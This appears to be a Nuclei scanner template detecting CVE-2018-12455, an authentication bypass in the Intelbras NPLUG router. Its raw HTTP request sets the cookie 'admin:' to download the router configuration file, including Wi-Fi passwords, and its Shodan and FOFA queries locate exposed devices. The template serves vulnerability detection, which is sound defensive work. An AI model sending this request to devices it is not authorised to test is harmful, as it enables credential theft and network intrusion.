id: CVE-2018-12455

info:
  name: Intelbras NPLUG 1.0.0.14 - Authentication Bypass
  author: ritikchaddha
  severity: critical
  description: |
    Intelbras NPLUG 1.0.0.14 is vulnerable to authentication bypass through cookie manipulation. An attacker can bypass authentication by simply setting a cookie named "admin:".
  impact: |
    Unauthenticated attackers can bypass authentication and download the router configuration file containing credentials, network settings, and sensitive information.
  remediation: |
    Update the device firmware to the latest version.
  reference:
    - https://seclists.org/fulldisclosure/2018/Oct/18
    - https://nvd.nist.gov/vuln/detail/CVE-2018-12455
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2018-12455
    cwe-id: CWE-287
    epss-score: 0.05867
    epss-percentile: 0.9246
    cpe: cpe:2.3:h:intelbras:nplug:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: intelbras
    product: nplug
    shodan-query: html:"NPLUG"
    fofa-query: title="NPLUG"
  tags: cve,cve2018,intelbras,auth-bypass,iot,vuln

http:
  - raw:
      - |
        GET /cgi-bin/DownloadCfg/RouterCfm.cfg HTTP/1.1
        Host: {{Hostname}}
        Cookie: admin:

    matchers:
      - type: dsl
        dsl:
          - "contains(content_type, 'config/conf')"
          - "contains_all(body, 'wl_', '_passwd')"
          - "status_code==200"
        condition: and
# digest: 490a0046304402200ad6e3384916d822a330c1b1152b962891d2ca3558d203920dcc5826993324070220706ef76f71b8e3a6909b5cc595a95f00152d6ca6082f4b2cb473666eb64a2423:922c64590222798bb761d5b6d8e72950